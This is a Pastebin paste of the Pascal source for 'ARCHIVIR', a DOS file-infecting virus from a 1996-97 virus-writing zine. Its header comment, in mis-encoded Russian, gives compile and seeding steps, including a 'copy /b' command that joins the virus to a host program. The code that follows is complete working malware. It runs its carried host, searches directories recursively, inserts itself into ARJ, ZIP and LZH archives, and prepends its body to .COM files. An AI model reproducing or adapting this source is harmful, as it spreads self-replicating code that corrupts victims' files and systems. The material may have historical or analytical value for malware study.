FlyFar

ARCHIVIR Virus Source Code

Jul 30th, 2023
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 6.82 KB | Cybersecurity | 0 0
  1.    {
  2.  
  3.    [Death Virii Crew] Presents
  4.    CHAOS A.D. Vmag, Issue 3, Autumn 1996 - Winter 1997
  5.  
  6.  
  7.                     ‚¨àãá-€à娢¨àãá.
  8.  
  9.  
  10.    ******************************************************************************
  11.                         **ˆ‚…’ ç¨â îé ï ¯ã¡«¨ª  !!!
  12.                ˆ¤ã騩   ᬥàâì ¯à¨¢¥âáâ¢ã¥â ⥡ï !!!!!!
  13.    ******************************************************************************
  14.    ‘¬®â५ ï âãâ ª ª ¢ë ã¯à ¦ï¥â¥áì ¢  ¯¨á ¨¨ ¢¨à®¢, ¤  ¨ ¤ã¬ î:"¥  ª®àï¡ âì
  15.    «¨ ¬¥ 祣®-¨¡ã¤ì". *®¤ã¬ ®-ᤥ« ®... ˆ§-§  á« ¡®£® § ¨ï  áᥬ¡«¥à , ¨ ¨§
  16.    -§  ®âáãâá⢨ï ᢮¡®¤®£® ¢à¥¬¥¨ ¤«ï ⮣® çâ®-¡ë ¨§ãç¨âì ¢ëè¥ã¯®¬ïãâë© ï§ëª
  17.    ¨§ª®£® ã஢ï,  ¯¨á « ï ᥩ ¢¨à   * áª ª «¥. „ -¤ .. *¥ ᬥ©â¥áì. *â® ¯à®¨§
  18.    ¢¥¤¥¨¥ ¯à®è«® ⮫쪮 ¯®ª  « ¡®à â®àë¥ ¨á¯ëâ ¨ï. *®   ¨å ¯®ª § «® á¢®î ¦¨¢
  19.    ãç¥áâì ¤®«¦ë¬ ã஢¥¬. *¥ § î, åà ïâ «¨ ¯à®áâë¥ î§¢¥àï ¥é¥   ¢¨â¥ ᢮¨ «¨
  20.    çë¥  àå¨¢ë  «¨ ¥â, ® á¬ëá« ¤¥©á⢨© â ª®¢: ‡ à ¦ ¥âáï ª ª®© ¨¡ã¤ì ª®¬®ª,
  21.    ¯à¨ § ¯ã᪥ ᥣ® ª®¬ª  ¯à®¨á室¨â …ƒŽ  à娢¨à®¢ ¨¥ ¢ ¯¥à¢ë¥ ¯®¯ ¢è¨¥áï  à娢ë
  22.    !!! ‘ ¯¥à¥§ ¯¨áìî !!! „¥« ¥¬ ᢮î १¥à¢ãî ª®¯¨î... *®â®¬ ª®£¤ -¨¡ã¤ì, ª ª®©-
  23.    ¨¡ã¤ì ¥àì à § à娢¨àã¥â ¨ § ¯ãáâ¨â ®ë© ¯à®¤ãªâ - " è  ¯¥áï å®à®è - ç¨
  24.     © á ç «  !!!"
  25.    ¤«ï à á¯à®áâà ¥¨ï ¨«¨ ¯à®áâ® à ¤¨ ®§ ª®¬«¥¨ï ¢ ¦¨¢®¬ ¢¨¤¥ ४®¬¥¤ãî:
  26.    1. Žâª®¬¯¨«¨à®¢ âì.
  27.    2. ‘¦ âì ª ª®©-¨¡ã¤ì ᦨ¬ «ª®©.
  28.    3. *à®á¬®âà¥âì à §¬¥à.
  29.    4. *â®â à §¬¥à ¯à¨á¢®¨âì MySize.
  30.    5. *®¢â®à¨âì ¯¯.1,2. (¢ â®á®á⨠!!!)
  31.    6. ‚§ïâì ª ª®©-¨¡ã¤ì ª®¬®ª ¨ ¯à¨¢¨âì ¥¬ã ¢¨àãá „®á®¢áª®© ª®¬ ¤®© ⨯ :
  32.               copy /b virarh.exe+¨¬ïª®¬ª .ᮬ gggggggg.com
  33.    7. ‡ ¯ãáâ¨âì £¤¥-¨¡ã¤ì. *¥ ®¡ï§ â¥«ì®   ᢮¥© ¬ è¨¥ ;). ‹ãçè¥ ¢á¥£®-
  34.       ¤«ï ¯®«¨£®  ¨á¯®«ì§®¢ âì ¬ è¨ã  ç堫쨪 .
  35.  
  36.                                                *ã ¢®â ¨ ¢á¥...
  37.                                                ‘ 㢠¦¥¨¥¬
  38.  
  39.                                                   BiG Mazzy,
  40.                                                            I like eat Clock !
  41.    P.S. ’¥ªáâ ¤ ®£® ¢¨à  ¬®¦® ¨§¬¥ïâì(¢ «ãçèãî áâ®à®ã ࠧ㬥¥âáï) ¯® ᢮¥¬ã
  42.    ãᬮâ२î.
  43.    ******************************************************************************
  44.    }
  45.  
  46.    {$M 10000,0,300000}
  47.    uses Dos;
  48.    Const
  49.        MySize:Word=7136;
  50.    Var sc,i:Byte;
  51.        MyBodyD,FFBodyD:pointer;
  52.        MyBodyF:File;
  53.        FFBodyF:File;
  54.        FFSize:Integer;
  55.        MZ:Char;
  56.        curdisk,curdir,Com_Line:String;
  57.  
  58.    Procedure Alldir(dir:PathStr);
  59.    Var
  60.      FFBodFF,FFBodAA,FFBodBB,FFBodCC:File;
  61.      SR:SearchRec;
  62.      T,extt:String;
  63.      i:Byte;
  64.      FilePol:String;
  65.      Dir_:DirStr;
  66.      Name_:NameStr;
  67.      Ext_:ExtStr;
  68.    Begin
  69.      Dir:=dir+'\';
  70.      FindFirst(Dir+'*.*',AnyFile,SR);
  71.      While DosError=0 Do
  72.        With SR Do Begin
  73.           FilePol:=Concat(Dir,Name);
  74.           FSplit(FilePol,Dir_,Name_,Ext_);
  75.           IF (Ext_='.ARJ') and (sc<5) Then begin
  76.              SwapVectors;
  77.              exec(GetEnv('COMSPEC'),'/c arj a -y'+filepol+' '+paramStr(0)+' >NUL');
  78.              SwapVectors;
  79.              sc:=sc+1;
  80.           end;
  81.           IF (Ext_='.ZIP') and (sc<5) Then begin
  82.              SwapVectors;
  83.              exec(GetEnv('COMSPEC'),'/c pkzip '+filepol+' '+paramStr(0)+' >NUL');
  84.              SwapVectors;
  85.              sc:=sc+1
  86.           end;
  87.           IF (Ext_='.LZH') and (sc<5) Then begin
  88.              SwapVectors;
  89.              exec(GetEnv('COMSPEC'),'/c lha a'+filepol+' '+paramStr(0)+' >NUL');
  90.              SwapVectors;
  91.              sc:=sc+1
  92.           end;
  93.           IF (Ext_='.COM') and (sc<5) Then begin
  94.              if (sr.size<(65000-MySize)) and ((Name_+Ext_)<>'COMMAND.COM')
  95.              then begin
  96.              assign(FFBodAA,filepol);
  97.              reset(FFBodAA,1);
  98.              blockread(FFBodAA,MZ,1);
  99.              close(FFBodAA);
  100.              if MZ<>'M' then begin
  101.                  SwapVectors;
  102.                  exec(GetEnv('COMSPEC'),'/c cd '+CurDISK+COPY(dir,1,LENGTH(dir)-1)+' >nul');
  103.                  SwapVectors;
  104.                  assign(FFBodFF,'nc.ini');
  105.                  rewrite(FFBodFF,1);
  106.                  blockwrite(FFBodFF,MyBodyD^,MySize);
  107.                  Close(FFBodFF);
  108.                  SwapVectors;
  109.                  exec(GetEnv('COMSPEC'),'/c copy /b nc.ini+'+name_+ext_+' dn.cfg'+' >nul');
  110.                  SwapVectors;
  111.  
  112.                  SwapVectors;
  113.                  exec(GetEnv('COMSPEC'),'/c del '+name_+ext_+' >nul');
  114.                  SwapVectors;
  115.                  SwapVectors;
  116.                  exec(GetEnv('COMSPEC'),'/c ren dn.cfg '+name_+ext_+' >nul');
  117.                  SwapVectors;
  118.                  erase(FFBodFF);
  119.                  sc:=sc+1
  120.              end;
  121.  
  122.              end;
  123.           end;
  124.  
  125.           FindNext(SR);
  126.        End;
  127.      FindFirst(Dir+'*.*',Directory,SR);
  128.      While DosError=0 Do
  129.       With SR Do begin
  130.         if (Name[1]<>'.') and (Attr=Directory) then Alldir(Dir+Name);
  131.         FindNext(SR);
  132.       End;
  133.    End;
  134.    Begin
  135.       GetDir(0,curdir);
  136.       CurDisk:=copy(curdir,1,2);
  137.       iF ParamCount>0 Then
  138.       Begin
  139.          For i:=1 To ParamCount Do
  140.          Com_Line:=Com_Line+' '+paramstr(i);
  141.       End;
  142.       Sc:=0;
  143.       assign(MyBodyF,paramstr(0));
  144.       reset(MyBodyF,1);
  145.       getmem(MyBodyD,MySize);
  146.       blockread(MyBodyF,MyBodyD^,MySize);
  147.       seek(MyBodyF,MySize);
  148.       FFSize:=filesize(MyBodyF)-MySize;
  149.       getmem(FFBodyD,FFSize);
  150.       blockread(MyBodyF,FFBodyD^,FFSize);
  151.       assign(FFBodyF,'bmbmbmbm.com');
  152.       rewrite(FFBodyF,1);
  153.       blockwrite(FFBodyF,FFBodyD^,FFSize);
  154.       freemem(FFBodyD,FFSize);
  155.       close(MyBodyF);
  156.       close(FFBodyF);
  157.       swapvectors;
  158.       exec(GetEnv('COMSPEC'),'/c bmbmbmbm.com '+Com_Line);
  159.       swapvectors;
  160.       erase(FFBodyF);
  161.       Alldir('');
  162.       freemem(MyBodyD,MySize);
  163.    End.
  164.  
  165.    ******************************************************************************
Add Comment
Please, Sign In to add comment